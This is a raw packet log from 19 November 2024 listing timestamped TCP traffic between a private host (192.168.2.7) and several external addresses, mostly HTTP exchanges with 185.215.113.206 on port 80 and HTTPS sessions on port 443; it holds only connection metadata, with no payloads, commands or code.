Nov 19, 2024 20:05:45.464884043 CET	443	52482	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.464967012 CET	52482	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.464998960 CET	52482	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.465014935 CET	443	52482	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.465030909 CET	52482	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.465037107 CET	443	52482	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.466933012 CET	52495	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.466963053 CET	443	52495	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.467098951 CET	52495	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.467103958 CET	52496	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.467127085 CET	443	52496	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.467200994 CET	52496	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.467211008 CET	52495	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.467228889 CET	443	52495	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.467367887 CET	52496	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.467381954 CET	443	52496	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.477880955 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.477920055 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.477932930 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.477989912 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.478001118 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.478013992 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.478024006 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.478030920 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.478030920 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.478030920 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.478089094 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.478100061 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.478130102 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.478141069 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.478188992 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.478188992 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.478188992 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.478203058 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.478543043 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.483201981 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.483282089 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.483305931 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.483365059 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.614444971 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.614469051 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.614480972 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.614494085 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.614607096 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.614607096 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.614620924 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.614633083 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.614685059 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.614685059 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.614852905 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.614903927 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.614906073 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.614917040 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.614950895 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.615016937 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.615017891 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.615032911 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.615046024 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.615067959 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.615148067 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.615783930 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.615828037 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.615840912 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.615854979 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.615869999 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.615931988 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.615943909 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.615959883 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.615968943 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.615999937 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.615999937 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.616652966 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.616698980 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.616712093 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.616734028 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.616735935 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.616735935 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.616745949 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.616761923 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.616808891 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.616808891 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.699605942 CET	443	52491	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:45.701194048 CET	52491	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:45.701222897 CET	443	52491	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:45.701564074 CET	443	52491	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:45.702749014 CET	52491	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:45.702816963 CET	443	52491	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:45.707467079 CET	443	52487	152.195.19.97	192.168.2.7
Nov 19, 2024 20:05:45.707707882 CET	52487	443	192.168.2.7	152.195.19.97
Nov 19, 2024 20:05:45.707743883 CET	443	52487	152.195.19.97	192.168.2.7
Nov 19, 2024 20:05:45.708781958 CET	443	52487	152.195.19.97	192.168.2.7
Nov 19, 2024 20:05:45.708848000 CET	52487	443	192.168.2.7	152.195.19.97
Nov 19, 2024 20:05:45.709908962 CET	52487	443	192.168.2.7	152.195.19.97
Nov 19, 2024 20:05:45.709974051 CET	443	52487	152.195.19.97	192.168.2.7
Nov 19, 2024 20:05:45.710069895 CET	52487	443	192.168.2.7	152.195.19.97
Nov 19, 2024 20:05:45.710078001 CET	443	52487	152.195.19.97	192.168.2.7
Nov 19, 2024 20:05:45.713346958 CET	443	52483	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.714799881 CET	52483	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.714835882 CET	443	52483	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.715284109 CET	52483	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.715290070 CET	443	52483	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.722517967 CET	443	52492	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:45.722749949 CET	52492	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:45.722767115 CET	443	52492	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:45.723134995 CET	443	52492	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:45.723562002 CET	52492	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:45.723648071 CET	443	52492	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:45.726772070 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.726813078 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.726824999 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.726845026 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.726855993 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.726897001 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.726897001 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.726897001 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.727188110 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.727216959 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.727233887 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.727247953 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.727262020 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.727262020 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.727302074 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.727485895 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.727498055 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.727511883 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.727523088 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.727572918 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.727572918 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.727572918 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.727827072 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.727838993 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.727853060 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.727876902 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.727876902 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.727894068 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.727906942 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.727937937 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.727937937 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.728288889 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.728344917 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.728358030 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.728384972 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.728384972 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.728445053 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.728458881 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.728471041 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.728483915 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.728493929 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.728493929 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.728493929 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.728514910 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.728537083 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.728549004 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.728935003 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.729242086 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.729254007 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.729265928 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.729307890 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.729307890 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.729307890 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.729343891 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.729357004 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.729368925 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.729379892 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.729403973 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.729424000 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.729466915 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.730077982 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.730118990 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.730132103 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.730171919 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.730171919 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.730216026 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.730227947 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.730241060 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.730252981 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.730330944 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.730391026 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.730391026 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.730505943 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.730940104 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.730984926 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.730988026 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.730998039 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.731071949 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.731071949 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.731081009 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.731096029 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.731175900 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.783503056 CET	52491	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:45.783518076 CET	52487	443	192.168.2.7	152.195.19.97
Nov 19, 2024 20:05:45.783540964 CET	52492	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:45.795716047 CET	52497	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:45.795761108 CET	443	52497	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:45.795892000 CET	52497	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:45.796386957 CET	52497	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:45.796401978 CET	443	52497	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:45.811430931 CET	443	52487	152.195.19.97	192.168.2.7
Nov 19, 2024 20:05:45.812762022 CET	443	52487	152.195.19.97	192.168.2.7
Nov 19, 2024 20:05:45.812771082 CET	443	52487	152.195.19.97	192.168.2.7
Nov 19, 2024 20:05:45.812802076 CET	443	52487	152.195.19.97	192.168.2.7
Nov 19, 2024 20:05:45.812813044 CET	443	52487	152.195.19.97	192.168.2.7
Nov 19, 2024 20:05:45.812844038 CET	443	52487	152.195.19.97	192.168.2.7
Nov 19, 2024 20:05:45.812855959 CET	52487	443	192.168.2.7	152.195.19.97
Nov 19, 2024 20:05:45.812899113 CET	52487	443	192.168.2.7	152.195.19.97
Nov 19, 2024 20:05:45.813216925 CET	52487	443	192.168.2.7	152.195.19.97
Nov 19, 2024 20:05:45.813237906 CET	443	52487	152.195.19.97	192.168.2.7
Nov 19, 2024 20:05:45.813589096 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.813601971 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.813663960 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.851346016 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.851361036 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.851380110 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.851392984 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.851403952 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.851421118 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.851476908 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.851476908 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.851478100 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.851555109 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.851735115 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.851747990 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.851758957 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.851802111 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.851814032 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.851825953 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.851831913 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.851831913 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.851831913 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.851839066 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.851864100 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.851880074 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.851910114 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.851910114 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.852083921 CET	443	52464	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:45.852102041 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.852113962 CET	443	52464	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:45.852117062 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.852129936 CET	443	52464	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:45.852130890 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.852181911 CET	52464	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:45.852204084 CET	443	52464	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:45.852232933 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.852232933 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.852236986 CET	52464	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:45.852253914 CET	52464	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:45.852258921 CET	443	52464	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:45.852267027 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.852271080 CET	443	52464	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:45.852309942 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.852310896 CET	52464	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:45.852392912 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.852406979 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.852420092 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.852432966 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.852466106 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.852466106 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.852466106 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.852631092 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.852695942 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.852709055 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.852726936 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.852726936 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.852792978 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.852807045 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.852818966 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.852838039 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.852843046 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.852843046 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.852843046 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.852863073 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.852921963 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.852936029 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.852993011 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.852997065 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.852997065 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.853044033 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.853566885 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.853585958 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.853599072 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.853610992 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.853629112 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.853641033 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.853653908 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.853665113 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.853677988 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.853682041 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.853682041 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.853682041 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.853689909 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.853698015 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.853722095 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.853781939 CET	52464	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:45.853795052 CET	443	52464	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:45.853811026 CET	52464	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:45.853816986 CET	443	52464	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:45.853823900 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.854043961 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.854057074 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.854116917 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.854116917 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.854517937 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.854532003 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.854542971 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.854554892 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.854567051 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.854568958 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.854579926 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.854592085 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.854604006 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.854618073 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.854626894 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.854628086 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.854628086 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.854629993 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.854640961 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.854711056 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.854711056 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.856334925 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.856348991 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.856362104 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.856426001 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.856426001 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.856451035 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.856463909 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.856501102 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.856520891 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.856539965 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.856566906 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.856627941 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.856638908 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.856652021 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.856657028 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.856664896 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.856677055 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.856687069 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.856782913 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.856782913 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.856820107 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.856832027 CET	80	52448	185.215.113.206	192.168.2.7
